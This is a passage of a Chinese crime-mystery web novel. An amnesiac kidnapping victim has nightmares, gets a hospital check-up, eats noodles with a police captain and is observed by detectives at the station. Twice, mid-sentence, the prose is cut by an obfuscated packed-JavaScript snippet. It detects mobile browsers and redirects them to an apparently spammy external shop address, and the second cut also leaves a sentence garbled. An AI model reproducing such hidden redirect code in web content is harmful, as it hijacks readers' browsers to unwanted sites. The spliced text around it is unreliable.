肖羽抓着嫌疑人,李新咏拎起门后的魔鬼斧,出来时顺便还把门钥匙拔出来带走了。 这是纪然有意识以来第一次出房门,穿过老旧的走廊,踏进楼梯间。 宋承一马当先走在最前面,后面跟着纪然,隔了三四米是肖羽和嫌疑人,李新咏走最后面。 一节一节下了楼梯,直到走出这栋楼房,纪然才真正感受到解脱。 阳光下,她深吸一口清新的空气,仿佛能够闻到自由的味道,那种无拘无束又无阻碍的气息。就连她饥肠辘辘的身体也感觉变得轻松起来,身体里的每一个细胞都在欢呼着自由的到来。 微风吹过,她抱着笔记本环顾四周,跟在楼上看到的样子差不多,空旷又偏僻,老旧又安静。 跟着宋承来到越野车前,他看了一眼车内的座位,拉开副驾驶边上的车门:“你坐副驾驶吧,新咏来开车。” 纪然扶着车门坐上副驾驶,宋承见她系好了安全带,才走到后排坐下。 肖羽押着嫌疑人过来,与宋承一起坐在他两边,李新咏坐到驾驶位。 车子发动后,纪然整个人都靠在座椅上,看着窗外向后倒退的景色,显出几分困倦与慵懒。 从一醒来就被困在陌生的房间内,短短三小时不到,却好像经历了很久。要不是有笔记本记载,她还以为那栋楼是她三小时内建起来的。 12. 噩梦真的只是梦吗? 车辆行驶没多久,宋承就开始打电话,纪然也没仔细听,靠在座椅上昏昏欲睡。迷迷糊糊中想起要去医院的事,还有吃饭,也不知道宋队长还记不记得。 但是她的大脑太累了,抓地性很强的轮胎让高底盘的越野车在山路上都能如履平地,何况是在平缓的高速上,她直接睡着了。 被抓的绑架案嫌疑人一直都很安静,除了之前在房间里突然咒纪然死之外,动都没动过。何况上车后肖羽还从前面靠背上掏出一个眼罩,强行给那人戴上后,连膈应人的眼神都不会再看到了。 车辆行驶时带过的风声和放轻的说话声,耳边的各种声音逐渐远去,意识与身体仿佛不相融般,身体是睡着了,她的意识却一半在车上,一半陷入梦里。 夜晚漆黑的小镇上,天黑得伸手不见五指,像是墨水直接泼进了整个世界。 女人缩在小巷子里一辆车的车盘底下,铁皮的冰寒透过衣物紧贴着她的肌肤。她的牙关紧咬,呼吸微不可闻,右手拽紧了一块底部尖锐的石头,指尖因用力而发白。 她心跳如雷,与巷子外的脚步声交织在一起,如同魔鬼奏响的送命曲,诡异又令人胆颤。 夜晚凌冽的冷风从四周八方吹来,钻过车底下。寒意袭来,女人的身体不由自主地颤抖。 脚步声在这条巷子外徘徊,不紧不慢,却每一步都带着一种无形的压力,让人感到强烈的不安。 女人努力睁大眼睛,深邃而无边的黑暗里,她什么都看不到,微弱的感官根本无法感知到被剥夺色彩的周围,只有她的每一次呼吸,都能闻到伴随着尘土与汽油的味道。 空气中弥漫着沉闷又压抑的气息,仿佛有无数双看不见的眼睛在暗中窥视着她。 除了风声与脚步声,还有自己的心跳声,女人听不到任何这世界上的任何声音。以往的鸟叫虫鸣,镇子里的几千口人,都安静地好似从来没存在过。 明明这巷子里的几家人,白天还跟她打过招呼,有一家的小女孩送了她一朵漂亮的花,那花被她插进家里的小花瓶,瞧着好看极了。 现在她躲在这,离那户人家仅仅一墙之隔,竟然什么声音都听不到。 脚步声越来越近,在往小巷子里走来。女人浑身紧绷,抓着石头,脑子里仿佛有个雷达在剧烈警报。 危险! 汽车被掀翻,本该产生的巨响被黑暗吞没,整个世界连风声都停住了。 画面如镜子般在眼前无声破碎,黑暗被打碎,后面还是黑暗,女人坠入虚空。 漫长又死寂的时间里,她听见钟表走动的滴答声。 滴答。 下一秒,她从高楼坠下,极速的风在耳边呼啸,衣服被撕扯得猎猎作响,意识朦胧间产生了爆裂的耳鸣。 头底下,数不清的人围在楼下高高仰起头,眼球凸起神情亢奋,他们向上伸出手臂,嘴巴大张,癫狂的模样却没有发出一点声音。 女人看向高楼,一块块巨大的玻璃窗如同镜子一样倒映出她下坠的身影,像一滴雨水从空中滴落,又像一片叶子飘然无力坠下。 她看向天空,乌云低沉,浓厚又密集,黑压压的云层挡住了所有阳光,让整个世界都陷入了一片昏暗和阴冷之中。 深色云浪翻滚,汹涌澎湃,仿佛要吞噬掉自己。 好奇怪,她分明是在往下坠,可感觉离乌云越来越近。 楼底下的人群沸腾起来,一个个拼命伸着手臂,还有很多人控制不住地往旁边人身上踩,一个叠一个,他们越叠越高。 女人就像是一块肉即将被丢进食人鱼群里。 或许她应该害怕,应该在坠落中尖叫,在风声里悲鸣。 可是她毫无波澜,平静又冷漠地看着这一切。 从玻璃的倒映中看到自己掉进人群,无数只手在撕扯她的身体,在唯一听到的清脆的骨裂声中,她仰头看到天空倾塌,乌云吞噬了自己。 高楼崩裂,石块滚滚砸下,世界在眼前摇晃。 所有画面都化成一面镜子,在她被乌云吞掉最后一根手指时,碎裂一地。 零碎的玻璃四处飞溅,随着秒针的一次转动,滴答声响起。 碎片被时间倒流,凝成一块完整的镜子。 女人站在落地镜前,穿着休闲舒适的睡衣,手里拿着几件不同的衣服在身前比划。 窗外明媚的阳光洒在她身上,白皙的脖子上能清楚地看到青色血管。 街上人来人往,摩肩接踵,车辆寸步难行,人声鼎沸,热闹非凡。 家家户户贴上新窗贴与新对联,在相互问候中一个个露出幸福地笑容。 摆摊车的大锅上飘起雾气,街边店门被推开的一瞬间感受到里面的暖意。有人捧着杯子轻呷一口热气滚滚的水,有人蹲在路边吸溜长长的面。 一只小狗在追着主人打闹,隔壁巷子里的猫嘴上叼着鱼从店后门轻巧跳到墙头,远处树上的枝丫里不知什么时候筑起一个鸟巢,水箱里的鱼继续无忧无虑摇着尾巴。 有人感受到脸上的冰凉,抬头一看,天空飘起雪花,洋洋洒洒,未若柳絮因风起。 瑞雪兆丰年。 千万人在街头欢呼,一张张不同岁数不同长相的脸,嘴角扬起同一个弧度。 红色的鞭炮在地上摆了长长一条,两边行人捂住耳朵,噼里啪啦的声音震耳欲聋。 枪声被掩盖在鞭炮声里。 一挂鞭炮还没有听完,无数人倒在地上,身上流出来的血浸湿了没有放完的鞭炮,灰白色的烟笼罩住了每个人。 鲜血顺着长街流淌,经过一张张红对联,给地上还冒着热气的煎饼染了颜色,冲走了店前碎裂的玻璃。 小狗倒在主人不会起伏的胸口上,巷子里的猫瘫成一块饼,水箱侧翻流干了最后一滴水,树枝上燃起火光。 女人换好衣服出门,抬眼就看见满天飘落的雪花,眼睛弯起,一低头,眉间出现一个弹孔。 茫茫大雪在眼前破碎,镜片消失在虚空里。 滴答。 秒针经过12点,分针丝毫不动。 无尽的虚空中,重新生成了一块又一块镜子,女人完好无损地在黑暗里奔跑。 有什么温热的液体从眼眶里涌出,还没来得及滑下,就飞落在身后。 她穿过一扇门,眼前有了光,驱散了黑暗。 她走进光里,原本暖和舒适的温度开始上升,炽热灼烧感席卷全身,无形的火焰在皮肤上燃烧。 女人回头,门不见了,黑暗消失,光明焚烧殆尽她的身躯。 耀眼的光芒,像一块橡皮擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179097|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正在一点点擦掉她的四肢,然后是身体,最后是头颅。 她在痛苦里挣扎,在烈焰中绝望。 意识沉沦在一个又一个深层梦境,光怪陆离的场景让人在梦魇中陷入恐惧与无助之中,零碎的记忆片段在梦境中被重新编织。 浑浑噩噩间,意识仿佛被无形的丝线牵引,穿越了时间与空间的界限,在荒诞离奇的剧情里迷失自我。 像被卷入了一个巨大的漩涡里,不断地旋转,下沉。 “醒醒,该下车了。” 低沉浑厚的声音在无数个梦境碎片里响起,坚定的语调清晰又深远,回荡在大脑深处,化作一把锤子敲碎了梦境与现实的壁垒。 心脏瞬间如失控的鼓点,在胸腔内急促有力地跳动,纪然费劲地睁开眼。 副驾驶这边的车门已经被拉开,宋承手撑在车上方,又叫了一声:“醒了?已经到医院了。” 纪然恍恍惚惚地下了车,整个人仿佛还在梦里,踩到地面的时候都感觉自己是踩在云上,宋承扶了一把。 “你们先回去审问他,收集的材料送去技术大队检验,作好报告。”宋承吩咐道。 车里的警察二人点头,打了声招呼后,李新咏油门一踩,留下一地尾气。 宋承陪同纪然往医院大厅里走,察觉到她的不对劲,身为警察有关怀和保护人民群众的义务,便主动关心道:“做梦了?” 纪然抱着笔记本,有些无精打采地点点头:“嗯,还都是噩梦,梦中梦一环套一环,总觉得睡不醒。” 宋承低下头,能看到她脸上困倦的表情,出于过来人见多识广的经验,他安慰道:“碰到这种事情,以你这个年纪的小姑娘来说,仅仅是做个噩梦,心理承受能力已经远超大多数人了。” “我们局里第一次出任务的年轻人碰到这些场景,也是做了整整一周的噩梦。如果你需要帮助的话,我们队里有个心理师,处理这些心理应激反应很有经验,等回警局你可以找她聊聊。” 听到宋承说这么多,纪然的关注点一下子转到了心理师上面。 她想起有一种说法,心理师可以靠深度催眠来帮助患者找回遗失的记忆,但是具体是不是真的她还不清楚,但这倒是给她提供了机会,之后可以去找那个心理师问问。 知道自己有恢复记忆的可能性,纪然心情好了很多,还能跟宋承开个玩笑,语气瞬间轻松了下来:“我这个年纪的小姑娘?你很老吗,警察叔叔?” 宋承听到小姑娘欢快的语气,还能蹬鼻子上脸地开他玩笑,知道她没有陷入负面情绪里,神情也松动了几分。 “比起你们还在读书的年纪,我这即将三十岁的人,比你快大上一轮了,可不就是老了么?” 纪然仰头侧脸看过去,诧异:“宋队长保养得挺好的。” 他忍俊不禁,扯了扯嘴角:“我个糙汉子有什么好保养的,天天风吹日晒到处跑,你喊叔叔我都没觉得有什么。” 纪然掩口失声:“宋队长这样,倒让人想起一句话。” “什么话?” “天生丽质难自弃。”她抿嘴笑,眼睛里溢出笑意。 “……就当你在夸我吧。”宋承眼含无奈,天天面对队里一群容貌出色的人,他都没觉得自己的长相哪里异于常人。 13. 你礼貌吗? 在自助挂号的时候,纪然一摸口袋,想起来一件很重要的事。 “我没有身份证。” 她微不可查地蹙了蹙眉,眼巴巴地看着宋承,补充道:“也不记得身份证号。” “……” “在这等我一下。” 宋承留下这句话,走到服务台处。纪然看到他与医务人员说着话,还掏出警察证指了指她。 纪然抽空环顾四周,这家医院很大,光大厅就起码能容纳上千人而不显拥挤。今天是工作日,看病的人不多,大厅里多数是老人和小孩。 眼睛转着转着,就跟宋承视线对上,他走过来带着纪然上到四楼。 一进四楼就看到大大的“体检中心”四个字,宋承到前台掏出证件解释了几句,然后医务人员递给他一张单子。 宋承接过看了看,又瞅了纪然一眼,然后指着单子的其中一处:“就这个吧。” 随后报了纪然的名字年龄,和他自己的联系号码。宋承缴费后没两分钟,前台医务人员递给纪然几张单子。 纪然大致看了眼,有三十多个项目要检查。 “要查这么细?” 宋承拉着她往第一个体检项目的科室方向走,对这句问话不置可否:“你现在什么都不记得,后续还要配合我们调查,正好也查下之前被绑架时有没有受伤。” 就这样,纪然花了三小时做了一套全身体检,饿得前胸贴后背,又被宋承逮去六楼的神经内科前前后后仔细检查了一遍。 等走出医院时,纪然就像已经在大草原捡了十年的破烂了,她的胃跟她的心一样冰冷,饿久了都开始麻木起来,没了饥饿感。 宋承看看时间,已经下午五点了。 “为确保体检结果准确,需要保持空腹状态,所以……为表达我的歉意,请你吃顿饭——你有什么想吃的?” 宋承知道纪然没钱,被绑架后身上连个手机都不在的人,还能指望兜里有现金吗? 但宋承也没直接说请吃饭,现在的年轻人自尊心都很强,为了避免尴尬,正好用这来当借口——明知道她很饿却还让她做了一下午的检查。 虽说人人都知道体检前保持空腹比较好,但之前纪然只说了想来医院检查头部,然后却被他拉到体检中心,做了一套三十多个体检项目的全身检查,这会儿估计饿惨了吧。 纪然眼睛一亮:“还有这好事?” 太好了,人民警察果然没有忘记贫困饥饿的老百姓,还花钱让她体检和看脑子,等她找回记忆或者找到自己家,一定要把钱还给他。 “我对这里……不清楚,宋队长你来决定吧,能填饱肚子就行。” 宋承看着马路对面的一整条商业街,面带思索,几秒后就做下决定:“这附近有一家面馆还不错,以前出任务路过时吃了几次,量大管饱,你想吃面吗?” 闻到对面小吃摊飘过来的味道,纪然感觉自己的胃复活了,正在蠢蠢欲动:“我觉得我现在能吃下一整头牛。” 宋承失笑,瞧见前面跳绿灯了:“走吧,绿灯了。” 为了不引起商业街的群众恐慌,宋承边走边迅速脱下了藏蓝色刑警制服外套,露出里面的普通黑色短袖。把外套翻到里侧,整齐挂到小手臂上。 穿过马路,纪然经过各个小吃摊面前,烧烤、卷饼、铁板小吃、凉拌菜、关东煮、串串香、凉皮、鸡爪鸡翅鸡架、鸭脖、章鱼小丸子、烤冷面…… 每路过一个摊她就暗自吸一口,馋虫全都被勾起来了。 宋承耳朵微动,对周围敏锐的感知和出色的听力,令他清晰地听到身旁某人的咽口水声。 余光瞥见高大身影停下脚步,纪然收回垂涎的目光,有些莫名地抬头看他。 宋承迟疑道:“……要不买点小吃当配菜?” 纪然的良心痛了一秒,艰难地拒绝道:“谢谢宋队长,不过今天已经很让宋队长破费了,不用再顾及我了。” 果然是个自尊心很强的年轻人,宋承肯定了自己的猜测。 他神色自若:“我想吃。” “真的不……噢,你想吃啊,那就买吧。”纪然没想到宋队长这看着就成熟稳重的人居然会喜欢吃小吃,幸好他把外套脱了,不然这会儿几十个小吃摊都得混乱起来——以为城管来了。 作为曾经的陆战特种部队的军人,现在又是作为一名除暴安良警恶惩奸的刑警,宋承自是有观察入微的本事。他静观默察,看到纪然眼神在哪处停留最久,就买哪个。 纪然也有些奇怪,这个宋队长的口味跟她挺像的。 最后宋承拎满了两只手的小吃袋子心如止水,纪然把笔记本用左手臂夹在怀里,左手拿着个纸碗,右手捏着串,边走边吃。 “你别说,你还真别说,这街边的小吃就是香!”路过一个少年人,提溜着一大串小吃,对着身旁看起来像是他朋友的人说着话,然后被辣得发出“斯哈斯哈”的吸气声。 他旁边的朋友拿着筷子,低头飞快嗦粉,嘴里含糊不清地说:“四吧,我就嗦吧,街边小七就系坠好七滴,”咽下一口后吐字清晰了些,“那些高档餐厅也就那样,论口味还得是咱们普通老百姓都能吃得到的才是最好吃的,也吃得习惯。” 那少年人疯狂赞同:“对对,不好吃也不会有这么多人买,这么便宜的价格没人买的话肯定摆不下去,留下来的都是好吃的!” “要不我也买个摊?感觉好好玩啊,我们还能边炸边吃,卖不出去还能自己吃,不存在亏本问题。”说着说着他兴奋起来,不顾形象地又狂啃了一串。 旁边的朋友吨吨一口气喝完了汤,翻了个白眼:“哎呦喂——我说少爷啊,咱别想一出是一出了,人家都得起早贪黑爬起来做吃的,三点睡五点起,您能做得到?” 纪然听着有趣极了,侧过脸看得津津有味,甚至在心里接上了下半句——阎王夸我好身体。 宋承也听到这段对话,目光柔和了许多。无论是他之前当兵,还是现在做警察,为的都是守护他爱着的国家,守护这些老百姓们的欢声笑语。 看到现在这蓬勃发展又热闹非凡的街头,他眼带笑意,与有荣焉。 太阳渐渐西沉,泛红的晚霞给天空染了颜色,像一片金红色的海洋。落日余晖洒满大地,给这片街道披上了一层金红色的纱衣,整个世界仿佛都沉浸在热闹又祥和的氛围里。 晚风轻拂,在阳光的余热中带来独属于临夏的清爽微凉。行道树枝头的树叶在风中摇曳,沙沙的声音隐藏在街头的喧哗里。 熙来攘往,川流不息。 纪然跟着宋承走进一家面馆,抢在宋承之前说:“就吃你之前说的那个面。” 宋承点头,侧过脸问:“吃葱吗?” “都可以。” 面馆不大,有八桌四人桌椅,此时人不是很多,正好有两桌完全空着。 纪然选了一个靠近玻璃门的位置,抬眼就能看见霓虹灯亮起的街道。 宋承点完餐回来坐到纪然对面,小吃占了一半桌子。他随口吃了点,看见纪然没吃多少。 或许是这傍晚的氛围太过于舒适惬意,他难得主动打趣道:“怎么不吃了?怕等会儿吃不下?” 纪然托着腮看向门外的街道,夜色愈发明显,在余晖与霓虹灯的映染下,街上人与车越来越多,肩摩毂击,人声鼎沸。 面对这副场景纪然有种莫名怀念的感觉,她悠然自得地收回视线,笑吟吟地回答:“是呀,总得留着肚子好好品尝连宋队长都推荐的面。这么多吃的,我们恐怕得扶着墙出去了。” “没关系,吃不完的可以打包带走。” 队伍里有个医学天才,虽然主攻法医学,但人体健康的基本常识还是知道的。 作为队长,宋承多少也了解一些:“吃得太撑会打乱脾胃的消化规律,加重胃肠负担,损害胃肠功能,从而会导致消化不良。” “我不赞同为了逞口腹之欲而损害自己身体的行为,更不赞同为了所谓的不浪费而故意撑到自己。吃不完可以留到下顿吃,大多数食物不是冰淇淋,不用怕它几分钟就化了。” 宋承一副郑重其事的样子。 纪然觉得他这幅样子像极了苦口婆心劝病人不要乱吃东西的医生,有些忍俊不禁。 宋承的严肃被这笑给击破了,无奈道:“没有骗你,吃撑是真的对身体不好。喜欢就吃,吃不下就带回去,下顿再吃,不要跟自己的健康过不去。” “知道啦——警察叔叔。” “……” 面馆的玻璃门大大敞开着,食物的香味在空气里到处流动。下了班的人绿着眼睛走进来,吃饱喝足后一脸餍足地走出去,人来人往。 很快,他们的面被端了上来。 面前素白色的手拉面条配上透彻的清汤,上面盖着一把牛肉片,脆嫩的葱花点缀在碗里,散发着清新又浓郁的香味,看着就让人忍不住咽口水。 嚯,牛肉这么足! 纪然翻动面条,牛肉与葱花充分地混合在清汤与面条里,香味越发诱人。 “这家的牛肉分量很足,面条筋道,汤汁看起来清淡实际上喝起来很鲜美,尝尝看吧。” 宋承看见对面小姑娘吹了吹勺子里的汤,喝了一口后,一脸惊奇,然后吨吨喝了好几口。 “真的诶,这汤好好喝!” 他挑起一筷子面条,见纪然被烫得吸气,想起刚才街边遇到的小少年,有些好笑:“慢点吃,不着急。” 天色暗沉,店里开了灯,灯光落在宋承含笑的眉眼上,让人想起一句——心有猛虎,细嗅蔷薇。 吃完面后,离夜晚又近了几分,夜色几乎笼罩了整片世界,街上的灯光冲破了灰暗的封锁。两边街道边伫立的路灯如同十五的明月,高悬于空,熠熠生辉。 走在街上,商店门牌霓虹灯闪烁,车灯耀眼,高楼大厦窗口好似夜空的繁星点点,仿佛置身于一个梦幻般的世界。 熙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179098|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熙攘攘,车水马龙,城市的夜生活才刚开始。 “这里离公安局有点远,我先前通知新咏……白天你见过的,看起来像科研人员的那位,他开车过来接我们,算时间估计快到了。” 宋承手上提着没吃完的小吃,遥望着远处的街头。 纪然点头:“我记得住你们三个的脸和名字,”转头一想,“你也觉得他看起来像科研人员?” 宋承收回目光,像想到什么有意思的事,嘴角轻扬:“他的外表很有欺骗性,执行任务时常有奇效。” 一起吃了饭后,纪然性子也比之前放开了些:“我懂,俗称穿衣显瘦,脱衣有肉的那种是不是?” 话音未落,白天见过的越野车停在两人面前,李新咏降下车窗:“队长,”又冲着纪然点头打招呼,接着说,“上车再聊,别等下被交警抓到我违章停车。” 纪然吃饱喝足,身体也有力气,麻溜地钻进后排。宋承绕到另一边,坐进副驾驶座。 李新咏开着车子回程,从车内后视镜里看了一眼纪然,然后趁着红灯停下时转头看向宋承:“刚才听到你们说‘那种是不是’,上车后队长你看我的眼神很奇怪,你们之前在聊什么?” 宋承目不斜视,坦然自若:“在夸你身材好。” 纪然抿嘴偷笑,肩膀直抖。 李新咏:? “你们……在聊我?”他一贯清冷的脸上此时表情有些古怪,语气带着诧异,“我的身材?” “嗯,身材不错,继续保持。”宋承面不改色。 纪然嘴角疯狂上扬,完全没想到宋队长居然可以一本正经地调侃人。 “……”李新咏有些无语,从后视镜里看到正无声狂笑的某人,“那她为什么笑成这样?” 宋承也看到了,眼底含笑,语气波澜不惊:“不清楚,可能你长得就让人觉得好笑。” 李新咏:? 李新咏:你礼貌吗? 纪然憋不住了,车里有点闷,把牙齿露出来凉快凉快。笑意从眼角流了出来,她慌忙擦着,嘴里不停地发出笑声。 其实本来也没多好笑,但被他们两这一问一答,好笑程度直升10000%,笑得她肚子疼。 “……” “不是很想理你们。” 李新咏闭麦,绿灯亮起,发动车子继续上路。 “哈哈哈哈不是……哈哈哈我们……哈哈哈……哈哈真的……哈哈哈哈哈哈……” 纪然笑得说不出话,断断续续地解释:“哈哈哈真的……在夸你……哈哈哈身材好……” 李新咏从内置后视镜递给她一个眼神:你看我信吗? “你先止住笑再说吧。”开车不易,新咏叹气。 大概是发现这两警察平易近人,又是今天救了她小命的恩人,再加上又相处了一天,纪然的性子越发开朗起来,俗称内向人在熟人面前的外向行为。 纪然倒在后排,鹅鹅鹅的浑身颤抖。她真的很好奇,为什么宋队长能忍住不笑,他在参加什么不要笑挑战吗? 夜幕低垂,华灯初上。 城市街道愈发热闹,车流如织,黑色越野穿梭其中。车灯在黑夜里划出一道道光束,照亮了前方的路。 李新咏见纪然平复下来,便打开了车载音乐,温柔的钢琴曲前奏在车厢里流淌。 纪然没听过,看向车载屏幕,上面写着《風の住む街》。 钢琴前奏响了没多久,二胡声飘扬而起。内弦与外弦拉扯间带着满腔柔情的忧伤,超越了琴键弹奏而出的浪漫,直抵人心。 属于女性的细腻情感与深沉琴音完美融合,在二胡悠悠的泛音中,时而沉寂,时而轻微回应,宛如一对恋人的絮语在听众的耳边呢喃。 两种不同的声音交错着,拉扯着。 纪然看着车窗外后退的景色,像指针向前行走,秒针离分针越远,又离分针越近。 三人都没说话,安静听着音乐,街道两边的路灯洒进车厢内,营造出一种静谧又温馨的氛围。有人专心驾驶着车子,有人欣赏着窗外的夜景,有人沉静在音乐里发起呆。 车子渐行渐远,高楼大厦的轮廓在夜色中若隐若现。街道上的行人和车辆都在匆匆忙忙地赶路,每个人都在为自己的生活奔波着。 在车里,在这段注定会被浪费掉的时间里,每个人都独自享受着只属于自己的片刻宁静。 车窗半开,透进些许凉风。 音乐换了好几首,每一首都是轻柔的纯音乐。或温馨或轻松,或忧伤或孤独。 琴声宛如山涧中的清泉,潺潺流淌,清澈而悦耳。那旋律如同细雨般缠绵,又似微风般哀婉,让人远离了白天的喧嚣与疲惫。 很难想象,充满着力量感与野性美的越野车,专为征服崎岖路面而设计的机械巨兽,车载音乐居然放着优雅至极的纯音乐。 纪然想起当时从猫眼里看到李新咏时的感受,确实一直显得很优雅,只能说,不愧是他。 14. 来警局做客 机械巨兽停在公安局门口,轻松的氛围顿时一扫而空。 解开安全带,纪然不忘拿起笔记本,跟着他们两下车。 “跟上。”宋承大马金刀地走在前面。李新咏长腿一迈,跟在纪然的后面。 进了门就是警局大厅,正对着的墙上挂着时钟,此时已经接近晚上七点半,而这里身穿警服的人可还不少。 该不会警察各个都是007吧。 纪然没多看,跟在宋承身后,一路来到一间询问室。 “不用紧张,你先坐。”宋承翻了翻墙边桌子的抽屉,像在找什么东西,但没找到,然后走出门。 李新咏给她倒了杯温水,在对面坐下:“等下你配合我们先做个笔录,我们问,你如实回答就好。别紧张,记录还没开始,我们先随便聊聊天。” 这还是纪然有意识以来第一次进警局,虽然说她现在只有今天一天的记忆,但本能的有些紧张。她点点头,把笔记本放在腿上,忍不住捧着杯子,小口小口慢慢吞咽着。 “针对你的这起绑架案的嫌疑人——今天我们抓到的那个人,他始终没招。” 纪然有些惊讶。 虽说是聊聊天,李新咏还是很认真地观察纪然的面部表情,继续说:“一旦提到jì然两个字,他便情绪失控,暴躁易怒且具有攻击性的行为。” 听完后纪然有点无语,作为同发音的纪然本人,真的很好奇那位季然到底做了什么,为什么有人想要杀她? 甚至就因为同发音,害得纪然也被当成目标。想到今天那人眼睛里满是红血丝,状若癫狂恶狠狠地盯着自己时的模样,到现在都还有点后怕。 不过也不排除她本人才是那人的真正目标,要杀的是她纪然,而不是另一个季然。 但有一点想不通,季然跟死去的季铭是兄妹关系,牵扯上了第九系列凶杀案。但这跟她纪然有啥关系,都不是同一个姓。 如果非要说她纪然才是凶手,杀害了季铭,然后赖罪于季然头上,这也说不通啊。 换个方向,如果是说她与绑架案的嫌疑人有矛盾,那人想要杀她,但为了行动不暴露,牵扯到名字同音的季然身上,想用第九系列凶杀案的复杂来掩盖自己的罪行。 这倒是能说得通,不过令纪然有种那人把简单的事情给复杂化的感觉。 那么失踪了好几天且有可能已经遇害的季然被带到哪去了? 为了杀她而特意多杀一个人,有点太匪夷所思了吧。她不是杀人犯,很难理解这种人脑子里是怎么想的。 纪然又想起一个矛盾点,那个人在当时为什么要一直守在门外?既然是要杀她,为什么又不确定里面有没有人? 房间很明显不是她的,在衣柜里能找到季然穿过的裙子。照这一点推测,出现在那房间里,只是为了让她的死,用季然的身份来打掩护。 可是她都已经被带进房间里了,那人为什么又不确定她在不在? 所以是谁把她带进房间里的?又是谁让她失去了记忆? 一切都算计得那么刚刚好,以她同音的名字和失去的记忆,让案件卡在这。 那她呢?在这场复杂的剧情里扮演着什么角色? 无辜的受害者,还是搅动浑水的人? 或者说,她才是背后主使者? 眼前全是迷雾,纪然感觉自己像是行驶着一条孤舟,在深夜的大海里缓缓前行。迷雾遮挡视线,黑夜模糊感官,渺小的孤舟被海浪卷起,要翻不翻。不知道要往哪去,更不知从何而来。 李新咏观察着纪然脸上的表情。 现在纪然的眼睛里充满了迷茫,像迷路的旅人闯进陌生的地界,不知道该前进还是该后退。 李新咏站起身:“你继续坐着,我去看下队长怎么还没回来。” 纪然不知所以地点头。 出了门,李新咏走到墙壁另一边,问叶柯:“怎么样?” 睡了一白天后,叶柯此时显得有些精神奕奕的,点点头:“在心理学领域,个体对于特定情境的反应是复杂且多维的,这通常涉及到认知、情感和行为等多个层面。” “人在表达情绪时,就算能控制住自己的表情,微表情的变化是很难把控的。而她的微表情的变化都很真实。” “不过,我在想,她怎么会露出这么多表情,”叶柯顿了顿,继续说,“下颚下垂,嘴唇放松,眼睛张大,眼睑和眉毛微抬,这是表示惊讶。” “从心理学角度来看,她的反应相当有趣。人类初始的惊讶是一种自然的防御机制,当个体遭遇超出预期的刺激时,大脑会迅速处理信息,并引发一系列生理反应,如瞳孔扩张、心跳加快等,以帮助个体更好地应对突发状况。” “而她在惊讶之后所表现出的表情变化……嘴角紧闭,可能她正在努力抑制内心的情绪波动,或者是在思考怎么破解当前的困境。这种自我调节的行为是高度自我意识个体的典型特征,表明她能够在压力之下保持一定程度的冷静和自我控制。” “随后的表情变化可能表明个体正在经历更深层次的情感处理。抿嘴,眉毛微皱,眼尾下垂,眼睛撇向一边,毫无焦点,这是……无语?普通人碰到这种事情,在惊讶之后大多数是恐惧,带着不安的情绪。而她这种奇怪的表情变化……” 宋承靠在墙边上,接了话:“说明她在思考。” “思考?”肖羽手里拿着录音设备和记录本,不假思索地说,“在想她自己和两个案子之间的关系么?” 听到这话,叶柯很快就反应过来:“这就能解释得通了。惊讶代表她对嫌疑人一直没招的诧异。无语的话……我猜她应该是想到自己与那个季然同音的名字,被卷入案件里有些无语。” “之后她眉毛下压向中心聚拢,眼皮紧绷视线集中,面部紧张,身体前倾——这是在生气。” “那这代表什么呢?”肖羽很上道地捧哏。 “生气自己因为同音名字而遭到绑架和恐吓吧,对她而言,这都是无妄之灾,换我我也生气。”叶柯耸耸肩,语气温和,说到最后一句抿了抿嘴。 她继续回忆当时纪然的面部细节:“眉毛微皱,眼睛微微眯起有轻微的转动,嘴巴微微张开,头部有轻微的倾斜——这些很轻微的变化,代表着她在疑惑。” 李新咏也跟上思路:“所以疑惑……是她在思考与那个季然的关系,以及失去记忆后出现在季然房间里的目的……你们记不记得在抓到嫌疑人后,她提到一句话。” 良好的记忆力让他原话复述了一遍:“‘他不能确定房间里有没有人,为什么要拿着斧头守在门口’,”李新咏停顿了两秒,以免大家混淆,问出一个矛盾点,“嫌疑人要杀的是哪个jì然?” 听到这个问题,肖羽啧嘴:“真乱啊。” 叶柯拢了拢头发:“根据我的观察,她没有问题。反应是真的,失忆也是真的——除非她有比影后还精湛的演技。” 她继续分析刚刚看到的表情:“最后,眉毛轻微上扬,视线游离眼睛无神,面部松弛,身体轻微收缩——这是一种迷茫的情绪状态。” “有演技的可能性不大,”李新咏继续往后说,“迷茫代表她也想到了这一层,开始怀疑自己,怀疑所有人。” “答对了,所以,不想当心理师的狙击手不是个好刑警。”叶柯认同了这句话,顺便小小地开了个玩笑。 肖羽发笑,扬了扬手上的东西:“等笔录记完后,把她跟嫌疑人一起问问,观察那人看到这个纪然有什么反应。我猜,一定有新线索。” 几人都不置可否,就这么默认了,然后齐齐看向队长。 宋承微微颔首,首先直起身,往询问室走去,三人都跟在后面。 纪然一个人在询问室里坐着,头脑风暴了好一会儿,杯子里的水都不知不觉喝完了。目前她掌握的线索全是有限的,一个人分析不出个子丑寅卯,最好的选择是与警方合作。 警方需要她这个与季然同音的名字,以及作为被卷进案件的当事人这个身份,来协助调查案情。如果中途能恢复她的记忆,事情很快就能水落石出。 而她需要警方掌握的情报,以及对调查的便利。换句话说,她不是专业人员,在搜集证据和信息上,她远远不如这些受过训练且有很多年经验的刑警。 